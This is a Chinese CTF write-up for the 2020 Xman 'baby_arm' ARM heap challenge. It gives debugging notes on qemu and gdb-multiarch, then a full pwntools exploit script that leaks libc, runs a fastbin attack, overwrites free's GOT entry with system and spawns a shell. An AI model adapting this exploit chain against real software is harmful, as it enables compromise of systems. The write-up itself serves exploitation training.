2020Xman baby_arm
关于调试
用arm-linux-gnueabihf启动,-g 指定调试端口,但不知道如何像正常的pwn题一样在脚本中指定位置起一个gdb调试,导致只能在另一个终端中用gdb-multiarch ,tar rem : port远程调试,在目标地址下断点,c过去。然后由于没有符号表,不能打印system函数地址,而且bin命令、heap等都不能用,只能直接用x来查看地址的内容。总结,很难调试。
调试时发现arm架构的fastbin链表和unsortedbin双向链表的位置很迷,但功能和x86 x64的差不多。
还有就是计算libc基地址的时候发现用vmmap看到的基地址不管用,需要将vmmap看到的基地址+0x1000才能正常计算出system函数的地址。至于为什么咋也不知道。
from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
s = lambda data :ctx.send(str(data))
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
#ctx = process(["qemu-arm", "-g", "2353", "-L", "/usr/arm-linux-gnueabihf", "./babyarm"])
ctx = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./babyarm"])
#elf=ELF("./awd7")
libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")
#context.log_level = "debug"
def add(sz,c):
sla('your choice: ',1)
sla('Note size :',sz)
sa('Content :',c)
def edit(idx,c):#0x10
sla('your choice: ',5)
sla('Index :',idx)
sa('You content:',c)
def show(idx):
sla('your choice: ',3)
sla('Index :',idx)
def free(idx):
sla('your choice: ',2)
sla('Index :',idx)
lst = 0x21088
#edit = 0x10990 add = 0x106E6 free = 0x1081E
name = 0x21068
free_got = 0x21014
sla('name:',(p32(0)+p32(0x28))*4)
add(0x40,'0')
add(0x20,'1')
add(0x20,'2')
free(0)
show(0)
lb = uu32(r(4)) - 0x27cc - 0xe6000
success(hex(lb))
sys = libc.sym['system'] + lb
fh = 0xE9734 + lb
free(1)
edit(1,p32(name+0x10))
add(0x20,'/bin/sh\x00')#3
add(0x20,p32(free_got)*3)
edit(0,p32(sys))
free(3)
irt()